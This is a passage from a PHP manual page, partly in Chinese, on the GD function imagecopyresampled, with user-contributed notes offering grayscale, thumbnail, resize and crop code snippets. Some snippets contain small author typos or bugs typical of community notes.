   $originalFileName    = "colorPicture.jpg";
   $destinationFileName = "bwPicture.jpg";

   // create a copy of the original image
   // works with jpg images
   // fell free to adapt to other formats ;)
   $fullPath = explode(".",$originalFileName);
   $lastIndex = sizeof($fullPath) - 1;
   $extension = $fullPath[$lastIndex];
   if (preg_match("/jpg|jpeg|JPG|JPEG/", $extension)){
       $sourceImage = imagecreatefromjpeg($originalFileName);
   }

   // get image dimensions
   $img_width  = imageSX($sourceImage);
   $img_height = imageSY($sourceImage);

   // convert to grayscale
   // note: this will NOT affect your original image, unless
   // originalFileName and destinationFileName are the same
   for ($y = 0; $y <$img_height; $y++) {
       for ($x = 0; $x <$img_width; $x++) {
           $rgb = imagecolorat($sourceImage, $x, $y);
           $red  = ($rgb >> 16) & 0xFF;
           $green = ($rgb >> 8)  & 0xFF;
           $blue  = $rgb & 0xFF;

           $gray = round(.299*$red + .587*$green + .114*$blue);

           // shift gray level to the left
           $grayR = $gray << 16;  // R: red
           $grayG = $gray << 8;    // G: green
           $grayB = $gray;        // B: blue

           // OR operation to compute gray value
           $grayColor = $grayR | $grayG | $grayB;

           // set the pixel color
           imagesetpixel ($sourceImage, $x, $y, $grayColor);
           imagecolorallocate ($sourceImage, $gray, $gray, $gray);
       }
   }

   // copy pixel values to new file buffer
   $destinationImage = ImageCreateTrueColor($img_width, $img_height);
   imagecopy($destinationImage, $sourceImage, 0, 0, 0, 0, $img_width, $img_height);

   // create file on disk
   imagejpeg($destinationImage, $destinationFileName);

   // destroy temp image buffers
   imagedestroy($destinationImage);
   imagedestroy($sourceImage);
?>

Copy-paste, replace the file names on the top and there you go (picture files must be in same folder as this script. If not, you will have to do your own file management).
annonymous at example dot com
16-Feb-2004 08:25
in addition to code_couturier - try this formula to calculate gray-value (luminance) in his "more exact" way:

$gray = round(.299*$red + .587*$green + .114*$blue);
code_couturier at graffiti dot net
18-Oct-2003 03:08
# very fast way to generate a grayscal-
# image from a true color image

#...

# --- quick grayscale image
for ($y = 0; $y <$img_height; $y++) {
 for ($x = 0; $x <$img_width; $x++) {

 # here we extract the green from
 # the pixel at x,y , to use it as gray value
 $gray = (ImageColorAt($image, $x, $y) >> 8) & 0xFF;

 # a more exact way would be this:
 # $rgb = ImageColorAt($image, $x, $y);
 # $red = ($rgb >> 16) & 0xFF;
 # $green = (trgb >> 8) & 0xFF;
 # $blue = $rgb & 0xFF;
 # $gray = (int)(($red+$green+$blue)/4);

 # and here we set the new pixel/color
  imagesetpixel ($image, $x, $y,
  ImageColorAllocate ($image, $gray,$gray,$gray));
 }
}

# ...
mail at laeubi dot de
09-Oct-2003 03:45
This function don't work properly for me on trucolerimages (have not tried yet for other types) it jsut produce a part-grayscale image, and some color get mesed up.
I found a workaround here:
http://www.phpbuilder.com/columns/cash20030526.php3?page=2

[quote]
Advanced Image Editing Under the GD Library
Colorizing
Colorizing images is fairly easy to do. The easiest way to colorize an image is fairly simple to grasp. Create an image of the same dimensions and fill that image with the color you want to change it to. This new image is then placed on top of the older image, giving it a colorized look.

<?php
function imagecolorize(&$im,&$col,$pct) {
   // Get the image's width
   $im_w = imagesx($im);
   // Get the image's height
   $im_h = imagesy($im);
   // Set a pixel with the color, so we can get it easily
   $setpixel = imagesetpixel($im,$im_w,0,$col);
   // Get the color
   $index = imagecolorat($im,$im_w,0);
   // Find the color in the index
   $rgb = imagecolorsforindex($im,$index);
   // Get the red value
   $r = $rgb["red"];
   // Get the green value
   $g = $rgb["green"];
   // Get the blue value
   $b = $rgb["blue"];
   // Create the layover
   $layover = imagecreate($im_w,$im_h);
   // Allocate the color on this image
   $color = imagecolorallocate($layover,$r,$g,$b);
   // Fill the image with the new color (this really isn't needed)
   $fill = imagefill($layover,0,0,$color);
   // Merge the layover on top of the older image
   $merge = imagecopymerge($im,$layover,0,0,0,0,$im_w,$im_h,$pct);
   imagedestroy($layover); // Destroy the layover
}
?>

If we use a blue layover RGB(0,0,255), we get this result:
[/quote]

if you use black or gray, its not perfekt, but better than nothing ;)
add a note add a note

后退 | 起点 | 前进
imagecopymerge | 上一级 | imagecopyresampled


imagecopyresampled

(PHP 4 >= 4.0.6, PHP 5)

imagecopyresampled -- 重采样拷贝部分图像并调整大小

说明

bool imagecopyresampled ( resource dst_image, resource src_image, int dst_x, int dst_y, int src_x, int src_y, int dst_w, int dst_h, int src_w, int src_h )

imagecopyresampled() 将一幅图像中的一块正方形区域拷贝到另一个图像中，平滑地插入像素值，因此，尤其是，减小了图像的大小而仍然保持了极大的清晰度。如果成功则返回 TRUE，失败则返回 FALSE。

dst_image 和 src_image 分别是目标图像和源图像的标识符。如果源和目标的宽度和高度不同，则会进行相应的图像收缩和拉伸。坐标指的是左上角。本函数可用来在同一幅图内部拷贝（如果 dst_image 和 src_image 相同的话）区域，但如果区域交迭的话则结果不可预知。

注: 因为调色板图像限制（255+1 种颜色）有个问题。重采样或过滤图像通常需要多于 255 种颜色，计算新的被重采样的像素及其颜色时采用了一种近似值。对调色板图像尝试分配一个新颜色时，如果失败我们选择了计算结果最接近（理论上）的颜色。这并不总是视觉上最接近的颜色。这可能会产生怪异的结果，例如空白（或者视觉上是空白）的图像。要跳过这个问题，请使用真彩色图像作为目标图像，例如用 imagecreatetruecolor() 创建的。

注: 本函数需要 GD 2.0.1 或更高版本。

范例

例子 1. 简单例子

本例中将把一幅图像重采样为原始大小的一半。

<?php
// The file
$filename = 'test.jpg';
$percent = 0.5;

// Content type
header('Content-type: image/jpeg');

// Get new dimensions
list($width, $height) = getimagesize($filename);
$new_width = $width * $percent;
$new_height = $height * $percent;

// Resample
$image_p = imagecreatetruecolor($new_width, $new_height);
$image = imagecreatefromjpeg($filename);
imagecopyresampled($image_p, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);

// Output
imagejpeg($image_p, null, 100);
?>

例子 2. 按比例重采样图像

本例将把一幅图像按最宽或最高 200 像素来显示。

<?php
// The file
$filename = 'test.jpg';

// Set a maximum height and width
$width = 200;
$height = 200;

// Content type
header('Content-type: image/jpeg');

// Get new dimensions
list($width_orig, $height_orig) = getimagesize($filename);

if ($width && ($width_orig < $height_orig)) {
    $width = ($height / $height_orig) * $width_orig;
} else {
    $height = ($width / $width_orig) * $height_orig;
}

// Resample
$image_p = imagecreatetruecolor($width, $height);
$image = imagecreatefromjpeg($filename);
imagecopyresampled($image_p, $image, 0, 0, 0, 0, $width, $height, $width_orig, $height_orig);

// Output
imagejpeg($image_p, null, 100);
?>

参见

imagecopyresized()

add a note add a note User Contributed Notes
spencejames2000 at yahoo dot co dot uk
13-May-2006 09:27
For anyone suffering from the srcX and srcY bug (some versions of gd ignore them completely - see http://bugs.php.net/bug.php?id=12780 for details), a quick solution is to use this code snippet:

<?php
function imgcopyresampled(&$dst_img, $src_img, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h)
{
   $tmp_img = imagecreatetruecolor($src_w, $src_h);
   $rv2 = imagecopy($tmp_img, $src_img, 0,0, $src_x, $src_y, $src_w, $src_h);
   $rv1 = imagecopyresampled($dst_img, $tmp_img, $dst_x,$dst_y, 0,0, $dst_w, $dst_h, $src_w, $src_h);
   imagedestroy($tmp_img);
   return($rv1 and $rv2);
}
?>

By using imagecopy to extract the relevant portion of the source image, it works a lot more quickly than pike's solution below, and also without the extra blur.

It may be useful to use override_function in existing projects, although I have not tested this myself.
Tyron Madlener (tyron.at)
11-May-2006 04:43
Creating a thumbnail (120x90 pixel) of a big image (3000x2000 pixel) took me about 5 seconds with imagecopyresampled()

Thats pretty much, so I tested a little how I could improve the speed. I found that imagecopyresized is way faster but results in poor quality.
So I combined both - I first reduce the big image via imagecopyresized to 1024x768 pixel and then create the small thumbnail via imagecopyresampled. The resulting quality is almost the same. In my tests, resizing took only about 2.2 seconds now - twice as fast :)

I also tried using that bicubic image resizing function in some earlier post here, but it was only faster when the thumbnails were smaller than 120x90 and the quality was not very good.

Here's the code if you wanna (I guess there are still a few possibilites to do some more optimiztions tough):

<?php
function CreateThumb($file,$maxwdt,$maxhgt, $dest) {
   list($owdt,$ohgt,$otype)=@getimagesize($file);

  switch($otype) {
   case 1:  $newimg=imagecreatefromgif($file); break;
   case 2:  $newimg=imagecreatefromjpeg($file); break;
   case 3:  $newimg=imagecreatefrompng($file); break;
   default: echo "Unkown filetype (file $file, typ $otype)"; return;
  }

  if($newimg) {
   if($owdt>1500 || $ohgt>1200)
           list($owdt, $ohgt) = Resample($newimg, $owdt, $ohgt, 1024,768,0);

   Resample($newimg, $owdt, $ohgt, $maxwdt, $maxhgt);

       if(!$dest) return $newimg;

       if(!is_dir(dirname($dest)))
           mkdir(dirname($dest));

   switch($otype) {
     case 1: imagegif($newimg,dest); break;
     case 2: imagejpeg($newimg,$dest,90); break;
     case 3: imagepng($newimg,$dest);  break;
   }

       imagedestroy($newimg);

   chmod($dest,0644);
  }
}

function Resample(&$img, $owdt, $ohgt, $maxwdt, $maxhgt, $quality=1) {
  if(!$maxwdt) $divwdt=0;
   else $divwdt=Max(1,$owdt/$maxwdt);

  if(!$maxhgt) $divhgt=0;
   else $divhgt=Max(1,$ohgt/$maxhgt);

  if($divwdt>=$divhgt) {
   $newwdt=$maxwdt;
   $newhgt=round($ohgt/$divwdt);
  } else {
   $newhgt=$maxhgt;
   $newwdt=round($owdt/$divhgt);
  }

   $tn=imagecreatetruecolor($newwdt,$newhgt);
   if($quality)
       imagecopyresampled($tn,$img,0,0,0,0,$newwdt,$newhgt,$owdt,$ohgt);
   else
       imagecopyresized($tn,$img,0,0,0,0,$newwdt,$newhgt,$owdt,$ohgt);

   imagedestroy($img);

   $img = $tn;

   return array($newwdt, $newhgt);
}
?>
mracek at xko dot cz
09-Mar-2006 04:01
Here is function which:
- resize and crop (crop format 4:3 or 1:1)
- methode resample/resize
- open jpg, gif, bmp, png
- save jpg (85%), gif, bmp, png
- show images

$FILE_MIMES = array(
'image/pjpeg'=>"jpg",
'image/jpeg'=>"jpg",
'image/jpg'=>"jpg",
'image/png'=>"png",
'image/x-png'=>"png",
'image/gif'=>"gif",
'image/bmp'=>"bmp");
$FILE_EXTS  = array('.jpeg','.jpg','.png','.gif','.bmp');
$MAX_SIZE  = 16777216;

$lng=array(
's_imgDimension'=>array(
       "80",
       "320"
       ),
's_imgCrop'    =>array(
       "- auto -",
       "na sirku",
       "na vysku",
       "ctverec",
       "- zadne -"
       ),
's_imgFormat'    =>array(
       "4/3",
       "1/1"
       ),
's_imgType'    =>array(
       "jpg",
       "png",
       "gif",
       "bmp"
       ),
's_imgMethode'    =>array(
       "resample",
       "resize"
       )
);

function PPimageTransform($photo1,$type1,$dim,$crop,
$format,$methode,$photo2,$type2)
{
if ($photo1!=="" && File_Exists($photo1))
{
   if (!($crop>0 && $crop<5)) $crop=0;
   width=x"
   list($w,$h) = GetImageSize($photo1);
   $w=($w<1)?1:$w;
   $h=($h<1)?1:$h;
   $wh=$w/$h;

   // format
   $format=($format=='4/3')?4/3:1;

   // auto crop
   if ($crop==0)
       {
       $z1=$format-  ($format-1)/2;
       $z2=$format+(1-$format-1)/2;
           if ($wh>$z1) {$crop=1;}
       elseif ($wh<$z2) {$crop=2;}
       else        {$crop=3;}
       }

   // scale
   if ($crop==4)
       {
       $a=$w>$h?$w:$h;
       $scale=$dim/$a;
       $nw=$w*$scale;$nw=($nw<1)?1:$nw;
       $nh=$h*$scale;$nh=($nh<1)?1:$nh;

       $d=array(0,0,floor($nw),floor($nh));
       $s=array(0,0,$w,$h);
       }
   else
       {
           if ($crop==3) {$nw=1;$nh=1;}
       elseif ($crop==2) {$nw=1/$format;$nh=1;}
       elseif ($crop==1) {$nw=1;$nh=1/$format;}
       $nw*=$dim;$nw=($nw<1)?1:$nw;
       $nh*=$dim;$nh=($nh<1)?1:$nh;

       $s1=$nw/$w;
       $s2=$nh/$h;
       $h1=$nh*$s1;
       $w2=$nw*$s2;

       $s1=($h1<=$nh)?$s1:0;
       $s2=($w2<=$nw)?$s2:0;
       $scale=($s1>$s2)?$s1:$s2;
       $scale=($scale<=0)?1:$scale;

       $d=array(0,0,floor($nw),floor($nh));
       $x1=floor(($w-$d[2]/$scale)/2);$x1=$x1<0?0:$x1;
       $y1=floor(($h-$d[3]/$scale)/2);$y1=$y1<0?0:$y1;
       $s=array($x1,$y1,floor($w-2*$x1),floor($h-2*$y1));
       }

   // input/output
   switch($type1)
       {
       case 'jpg': $imgIn = ImageCreateFromJPEG; break;
       case 'png': $imgIn = ImageCreateFromPNG;  break;
       case 'gif': $imgIn = ImageCreateFromGIF;  break;
       case 'bmp': $imgIn = ImageCreateFromWBMP; break;
       default: return FALSE; break;
       }
   switch($type2)
       {
       case 'jpg': $imgOut = ImageJPEG; break;
       case 'png': $imgOut = ImagePNG;  break;
       case 'gif': $imgOut = ImageGIF;  break;
       case 'bmp': $imgOut = ImageWBMP; break;
       default: return FALSE; break;
       }

   // resample (d-destination, s-source)
   $image1 = $imgIn($photo1);
   if ($methode==0)
       {
       $image2 = ImageCreateTruecolor($d[2],$d[3]);
       ImageCopyResampled($image2, $image1,
 $d[0],$d[1], $s[0],$s[1], $d[2],$d[3], $s[2],$s[3]);
       }
   else    {
       $image2 = ImageCreate($d[2],$d[3]);
       ImageCopyResized($image2, $image1,
$d[0],$d[1], $s[0],$s[1], $d[2],$d[3], $s[2],$s[3]);
       }

   // output
   if ($type2=='jpg')
       {$imgOut($image2,$photo2,85);}
   else    {$imgOut($image2,$photo2);}
   ImageDestroy($image2);
   ImageDestroy($image1);
   }
}
dmitry at dest dot by
07-Mar-2006 10:03
Simple script on change of width and automatic creation of height, and also creation of the signature in the right we string to a corner. (Only for Jpg)

function easyResize($img_sourse, $save_to, $quality, $width, $str) {
$size = GetImageSize($img_sourse);
   $im_in = ImageCreateFromJPEG($img_sourse);

   $new_height = ($width * $size[1]) / $size[0]; // Generate new height for image
   $im_out = imagecreatetruecolor($width, $new_height);

   ImageCopyResampled($im_out, $im_in, 0, 0, 0, 0, $width, $new_height, $size[0], $size[1]);

   #Find X & Y for note
   $X_var = ImageSX($im_out);
   $X_var = $X_var - 130;
   $Y_var = ImageSY($im_out);
   $Y_var = $Y_var - 25;

   #Color
   $white = ImageColorAllocate($im_out, 0, 0, 0);

   #Add note(simple: site address)
   ImageString($im_out,2,$X_var,$Y_var,$str,$white);

   ImageJPEG($im_out, $save_to, $quality); // Create image
   ImageDestroy($im_in);
   ImageDestroy($im_out);
}

// $str -  Inscription on the image;
areddan at silverarm dot ie
29-Jan-2006 10:30
$file =$_FILES[userfile];
//name of the input form file upload element is userfile

//$to_file is a full path including filename
//to where you want the thumnail to be copied to .
//example /usr/www/users/www/images/thumbs/thumb1.jpg

copy($file[tmp_name],$to_file) or die("The file $file[tmp_name] you are trying to upload couldn't be copied to $to_file");

//Extra stuff to put into the output to allow for jpeg / png or gif

//replace line: imagegif($thumb2, $fileout); //write to file with the following

switch($format)
       {
           case 'image/jpeg':
           imagejpeg($thumb2, $fileout,90); //write to file
           break;
           case 'image/gif';
           imagegif($thumb2, $fileout); //write to file
           break;
           case 'image/png':
           imagepng($thumb2, $fileout); //write to file
           break;
       }
areddan at silverarm dot ie
27-Jan-2006 04:40
<?php
// The file
$filein = ''; // File in
$fileout = 'ttt.gif'; // Fileout - optional

$imagethumbsize_w = 100; // thumbnail size (area cropped in middle of image)
$imagethumbsize_h = 75; // thumbnail size (area cropped in middle of image)
resize_then_crop( $filein,$fileout,$imagethumbsize_w,
$imagethumbsize_h,/*rgb*/"255","255","255");

//Author Alan Reddan Silverarm Solutions
//Date 27/01/2005
//Function that works well with images.
//It takes the image and reduces its size to best fit. i.e If you have an image
//that is 200 X 100 and you want a thumbnail of 75 X 50,
//it first resizes the image to 100 X 50
//and then takes out a portion 75 X 50 from then center of the input image.
//So loads of image information is retained.
//The corollary also holds if your input image is 100 X 200
//it first resizes image to 75 X 150 and then takes out a
//portion 75 X 75 from the centre
// The advantage here is that function decides on whether
//resize is by width or height itself.
//it also decides whether to use the height or the width as the base start point
//in the case that athumbnail is rectangular

function resize_then_crop( $filein,$fileout,
$imagethumbsize_w,$imagethumbsize_h,$red,$green,$blue)
{

// Get new dimensions
list($width, $height) = getimagesize($filein);
$new_width = $width * $percent;
$new_height = $height * $percent;

   if(preg_match("/.jpg/i", "$filein"))
   {
       $format = 'image/jpeg';
   }
   if (preg_match("/.gif/i", "$filein"))
   {
       $format = 'image/gif';
   }
   if(preg_match("/.png/i", "$filein"))
   {
       $format = 'image/png';
   }

       switch($format)
       {
           case 'image/jpeg':
           $image = imagecreatefromjpeg($filein);
           break;
           case 'image/gif';
           $image = imagecreatefromgif($filein);
           break;
           case 'image/png':
           $image = imagecreatefrompng($filein);
           break;
       }

$width = $imagethumbsize_w ;
$height = $imagethumbsize_h ;
list($width_orig, $height_orig) = getimagesize($filein);

if ($width_orig < $height_orig) {
  $height = ($imagethumbsize_w / $width_orig) * $height_orig;
} else {
   $width = ($imagethumbsize_h / $height_orig) * $width_orig;
}

if ($width < $imagethumbsize_w)
//if the width is smaller than supplied thumbnail size
{
$width = $imagethumbsize_w;
$height = ($imagethumbsize_w/ $width_orig) * $height_orig;;
}

if ($height < $imagethumbsize_h)
//if the height is smaller than supplied thumbnail size
{
$height = $imagethumbsize_h;
$width = ($imagethumbsize_h / $height_orig) * $width_orig;
}

$thumb = imagecreatetruecolor($width , $height);
$bgcolor = imagecolorallocate($thumb, $red, $green, $blue);
ImageFilledRectangle($thumb, 0, 0, $width, $height, $bgcolor);
imagealphablending($thumb, true);

imagecopyresampled($thumb, $image, 0, 0, 0, 0,
$width, $height, $width_orig, $height_orig);
$thumb2 = imagecreatetruecolor($imagethumbsize_w , $imagethumbsize_h);
// true color for best quality
$bgcolor = imagecolorallocate($thumb2, $red, $green, $blue);
ImageFilledRectangle($thumb2, 0, 0,
$imagethumbsize_w , $imagethumbsize_h , $white);
imagealphablending($thumb2, true);

$w1 =($width/2) - ($imagethumbsize_w/2);
$h1 = ($height/2) - ($imagethumbsize_h/2);

imagecopyresampled($thumb2, $thumb, 0,0, $w1, $h1,
$imagethumbsize_w , $imagethumbsize_h ,$imagethumbsize_w, $imagethumbsize_h);

// Output
//header('Content-type: image/gif');
//imagegif($thumb); //output to browser first image when testing

if ($fileout !="")imagegif($thumb2, $fileout); //write to file
header('Content-type: image/gif');
imagegif($thumb2); //output to browser
}
?>
com.hotmail@backglancer
08-Jan-2006 02:32
wrote this for a game I was helping develop:

Auto Tile Maker -- takes the image and cuts it in several smaller pieces, deleting the original... i mean.. this is just for those of you who are lazy, coz the script is simple..
modify at will.

<?
// $newfile is the full address of your newly uploaded file
// $floc = is the location of that file ending with /
// $t is the $_FILES['blah'] of your uploaded file.
// whatever... you guys understand enough to modify this code

$size = getimagesize($newfile);
list($w, $h) = $size;

if ($h > 20 || $w > 20) {
   $type = array_pop($size);
   switch ($type) {
       case 'image/jpeg' : $src_image = imagecreatefromjpeg($newfile); break;
       // insert more cases here :) i'm lazy too
       default : echo 'not an image!'; return;
   }

   $i = 0;
   for ($y = 0; $y < $h; $y += 20) {
   for ($x = 0; $x < $w; $x += 20) {
       $i++; // new file names will be like 1monkey.gif 2monkey.gif etc..
       $new_image = imagecreatetruecolor(20, 20);

       imagecopyresampled ($new_image, $src_image,
           0, 0,
           $x, $y,
           20, 20,
           20, 20
           );
       imagegif($new_image, $floc.$i.$t['name']);
       imagedestroy($new_image);

   } // x
   } // y
   unlink($newfile);
}
?>
smrtak at 4um dot cz
07-Dec-2005 03:48
class cobrazek
   {
       function resizeMaxJpeg($file,$mx,$my,$q=85)
       {
           $dst = cobrazek::resizeMax(imagecreatefromjpeg($file),$mx,$my);
           if(!$dst)
               return false;
           if(!imagejpeg($dst,$file,$q))
               return false;
           return true;
       }
       function resizeMax($src,$mx,$my)
       {
           //zjisti velikost
           $sx = imagesx($src);
           $sy = imagesy($src);
           //spocitej cilovou velikost
           $v = min(min($mx,$sx)/$sx,min($my,$sy)/$sy);
           $dx = $v*$sx;
           $dy = $v*$sy;
           $dst = imagecreatetruecolor($dx,$dy);
           //resample
           imagecopyresampled ($dst,$src,0,0,0,0,$dx,$dy,$sx,$sy);
           //vystup
           return $dst;
       }
   }
pike-php at kw dot nl
15-Nov-2005 06:21
If you have a bug that imagecopyresampled is completely ignoring srcX and srcY (a known and closed bug - http://bugs.php.net/bug.php?id=12780)  you can ofcourse apply two operations to do the same. E.g., instead of saying

ImageCopyResampled($dst_img, $src_img, 0, 0, $srcX, $srcY, $dstW, $dstH, $srcW, $srcH);

you can say

ImageCopyResampled($tmp_img, $src_img, -$srcX, -$srcY, "BUG","BUG", $orgW, $orgH, $orgW, $orgH);
ImageCopyResampled($dst_img, $tmp_img, 0, 0, "BUG","BUG", $dstW, $dstH, $srcW, $srcH);

which has the same effect but is twice as slow and blurry. you may replace "BUG","BUG" with anything you like without sideeffects :)

$2c,
*pike
George_A
08-Nov-2005 06:49
For the best image quality...
How to get new proportional size of the image if the desible size of source image is approximatly equal to needed size. If needed size differs from source size on less than the user factor then transformation isn`t apply.

/**********************************************/
function imageCopyResize($image, $xSize, $ySize, $needed_user_factor, $new_image_path = "")
{
 //example: neded_user_factor = 0.2
 if($xSize == 0 || $ySize == 0)
   return array("At the leat one pair of size is 0",0,0);

 $size = getImageSize($image);
 $width = $size[0];
 $height = $size[1];
 $x_ratio = $xSize / $size[0];
 $y_ratio = $ySize / $size[1];
 if($x_ratio > $y_ratio)    $res_ratio = $y_ratio;
 else $res_ratio = $x_ratio;
 if(abs($res_ratio - 1) > $needed_user_factor)
   {
     $width = ceil($width * $res_ratio);
     $height = ceil($height * $res_ratio);
   }
 $fileinfo = pathinfo($image);
 $file_type = strtolower($fileinfo["extension"]);
 if($file_type == "jpg" || $file_type == "jpeg")
   $src = ImageCreateFromJpeg($image);
 else if($file_type == "gif")
   $src = ImageCreateFromGif($image);
 else if($file_type == "png")
   $src = ImageCreateFromPNG($image);
 else if($file_type == "bmp")
   $src = ImageCreateFromBmp($image);    //Thanks Previous Coder
 else
   return array("Unknown image format: ".$file_type, 0, 0);
 $output_path = ($new_image_path == "")?$image:$new_image_path;
 $dst = ImageCreateTrueColor($width, $height);
 ImageCopyResized($dst, $src, 0,0,0,0,$width, $height, $size[0], $size[1]);
 if($file_type == "jpg" || $file_type == "jpeg")
   ImageJpeg($dst, $output_path, 100);
 else if($file_type == "gif" || $file_type == "bmp")
     ImageGif($dst, $output_path);
 else if($file_type == "png")
   ImagePNG($dst, $output_path);

 ImageDestroy($src);
 ImageDestroy($dst);
 return array("", $width, $height);
}
/**********************************************/
erik at phpcastle dot com
05-Nov-2005 06:21
I've changed the script from info at lontronics dot nl a little bit so the thumbnail is not cutted off when this is not necessary.

<?php
// Resize function

// $pictype is optional. When empty the image will not be cutted off
function resize($filename, $dest, $width, $height, $pictype = "")
{
  $format = strtolower(substr(strrchr($filename,"."),1));
  switch($format)
  {
   case 'gif' :
   $type ="gif";
   $img = imagecreatefromgif($filename);
   break;
   case 'png' :
   $type ="png";
   $img = imagecreatefrompng($filename);
   break;
   case 'jpg' :
   $type ="jpg";
   $img = imagecreatefromjpeg($filename);
   break;
   case 'jpeg' :
   $type ="jpg";
   $img = imagecreatefromjpeg($filename);
   break;
   default :
   die ("ERROR; UNSUPPORTED IMAGE TYPE");
   break;
  }

  list($org_width, $org_height) = getimagesize($filename);
  $xoffset = 0;
  $yoffset = 0;
  if ($pictype == "thumb") // To minimize destortion
  {
   if ($org_width / $width > $org_height/ $height)
   {
     $xtmp = $org_width;
     $xratio = 1-((($org_width/$org_height)-($width/$height))/2);
     $org_width = $org_width * $xratio;
     $xoffset = ($xtmp - $org_width)/2;
   }
   elseif ($org_height/ $height > $org_width / $width)
   {
     $ytmp = $org_height;
     $yratio = 1-((($width/$height)-($org_width/$org_height))/2);
     $org_height = $org_height * $yratio;
     $yoffset = ($ytmp - $org_height)/2;
   }
  //Added this else part -------------
  } else {
     $xtmp = $org_width/$width;
     $new_width = $width;
     $new_height = $org_height/$xtmp;
     if ($new_height > $height){
       $ytmp = $org_height/$height;
       $new_height = $height;
       $new_width = $org_width/$ytmp;
     }
     $width = round($new_width);
     $height = round($new_height);
  }

  $img_n=imagecreatetruecolor ($width, $height);
  imagecopyresampled($img_n, $img, 0, 0, $xoffset, $yoffset, $width, $height, $org_width, $org_height);

  if($type=="gif")
  {
   imagegif($img_n, $dest);
  }
  elseif($type=="jpg")
  {
   imagejpeg($img_n, $dest);
  }
  elseif($type=="png")
  {
   imagepng($img_n, $dest);
  }
  elseif($type=="bmp")
  {
   imagewbmp($img_n, $dest);
  }
  Return true;
}
?>
info at lontronics dot nl
28-Oct-2005 06:08
For an internet photoalbum I was looking for a script which I could simply drop in a directory with images and which would do the rest.
Therefor I am using the following resize script now. I have made the little thumb-part because I want to have all the same size thumbnails, but with as less as possible distortion. Therefor, images with other dimensions are resized, but also cut off a little.

Als $pictype = thumb, the extra dimension calculations are used
$width and $height are the new dimensions of $filename, the image
$dest is the directory where the new image must be copied in.

The script:

// Resize function
function resize($filename, $dest, $width, $height, $pictype)
{
   $format = strtolower(substr(strrchr($filename,"."),1));
   switch($format)
   {
       case 'gif' :
           $type ="gif";
           $img = imagecreatefromgif($filename);
           break;
       case 'png' :
           $type ="png";
           $img = imagecreatefrompng($filename);
           break;
       case 'jpg' :
           $type ="jpg";
           $img = imagecreatefromjpeg($filename);
           break;
       case 'jpeg' :
           $type ="jpg";
           $img = imagecreatefromjpeg($filename);
           break;
       default :
           die ("ERROR; UNSUPPORTED IMAGE TYPE");
           break;
   }

   list($org_width, $org_height) = getimagesize($filename);
   $xoffset = 0;
   $yoffset = 0;
   if ($pictype == "thumb") // To minimize destortion
   {
       if ($org_width / $width > $org_height/ $height)
       {
           $xtmp = $org_width;
           $xratio = 1-((($org_width/$org_height)-($width/$height))/2);
           $org_width = $org_width * $xratio;
           $xoffset = ($xtmp - $org_width)/2;
       }
       elseif ($org_height/ $height > $org_width / $width)
       {
           $ytmp = $org_height;
           $yratio = 1-((($width/$height)-($org_width/$org_height))/2);
           $org_height = $org_height * $yratio;
           $yoffset = ($ytmp - $org_height)/2;
       }
   }

   $img_n=imagecreatetruecolor ($width, $height);
   imagecopyresampled($img_n, $img, 0, 0, $xoffset, $yoffset, $width, $height, $org_width, $org_height);

   if($type=="gif")
   {
       imagegif($img_n, $dest);
   }
   elseif($type=="jpg")
   {
       imagejpeg($img_n, $dest);
   }
   elseif($type=="png")
   {
       imagepng($img_n, $dest);
   }
   elseif($type=="bmp")
   {
       imagewbmp($img_n, $dest);
   }
   Return true;
}
Nicolas dot Grasset at notup2u dot net
21-Oct-2005 05:33
If you are looking for a function that can resample your photos to a given size, no matter its original size and/or ratio, here it is. And to make more fun (beacause life has to be fun), you can even chose a border size for the picture!

$position can either be topleft, topright, bottomleft, bottomright or center.

<?php

function imagecopyresampledselection($filename, $desired_width, $desired_height, $bordersize, $position)
{
   // Get new dimensions
   list($width, $height) = getimagesize($filename);
   if($desired_width/$desired_height > $width/$height):
       $new_width = $desired_width;
       $new_height = $height * ($desired_width / $width);
   else:
       $new_width = $width * ($desired_height / $height);
       $new_height = $desired_height;
   endif;

   // Resize
   $image_p = imagecreatetruecolor($new_width, $new_height);
   $image_f = imagecreatetruecolor($desired_width, $desired_height);
   $image = imagecreatefromjpeg($filename);
   imagecopyresampled($image_p, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);

   // Adjust position
   switch($position)
   {
       case("topleft"):
           $x = $bordersize;
           $y = $bordersize;
           break;

       case("topright"):
           $x = $new_width - $desired_width + $bordersize;
           $y = $bordersize;
           break;

       case("bottomleft"):
           $x = $bordersize;
           $y = $new_height - $desired_height + $bordersize;
           break;

       case("bottomright"):
           $x = $new_width - $desired_width + $bordersize;
           $y = $new_height - $desired_height + $bordersize;
           break;

       case("center"):
           $x = ($new_width - $desired_width) / 2 + $bordersize;
           $y = ($new_height - $desired_height) / 2 + $bordersize;
           break;
   }

   // Resample with 1px border
   imagecopyresampled($image_f, $image_p, $bordersize, $bordersize, $x, $y,    $desired_width    - 2 * $bordersize,
                                                                               $desired_height    - 2 * $bordersize,
                                                                               $desired_width    - 2 * $bordersize,
                                                                               $desired_height    - 2 * $bordersize);

   return $image_f;
}

$image_f = imagecopyresampledselection('test.jpg', 571, 319, 1, "center");
header('Content-type: image/jpeg');
imagejpeg($image_f, null, 100);

?>

To see a result, just browse http://www.notup2u.net/v8

Nicolas Grasset
12-Aug-2005 08:19
Here is my own custom utility which I call "Thumbnailer" (I know it is cheesy).
It's rather short, and it will take JPEG (you can change that easily), and
format it to a specified output width and height as a PNG
(or whatever else you choose):
<?php
//Dimensions
$outWidth=100; $outHeight=75;
//Do it
$imgSrc=imagecreatefromjpeg("[source]");
$srcWidth=imagesx($imgSrc);
$srcHeight=imagesy($imgSrc);
//Make thumbnails
$imgOut=imagecreatetruecolor($outWidth,$outHeight);
imagerectangle($imgOut,0,0,$outWidth,$outHeight,
 imagecolorallocate($imgOut,0,0,0));
//Copy them proportionatly
$dx=0; $dy=0; $dw=$outWidth; $dh=$outHeight;
if ($outWidth*$srcHeight!=$outHeight*$srcWidth) { //Non-proportional, cut-off
 //Which dimensions is larger
 if ($srcWidth>$srcHeight) { //Empty space on top and bottom
  $dw=$outWidth;
  $dh=($dw*$srcHeight)/$srcWidth;
  $dy=($outHeight-$dh)/2;
 }
 else { //Empty space on left and right
  $dh=$outHeight;
  $dw=($dh*$srcWidth)/$srcHeight;
  $dx=($outWidth-$dw)/2;
 }
}
imagecopyresampled($imgOut,$imgSrc,$dx,$dy,0,0,
 $dw,$dh,$srcWidth,$srcHeight); //imagecopyresized for lower quality
//Create the thumbnail and destroy everything else
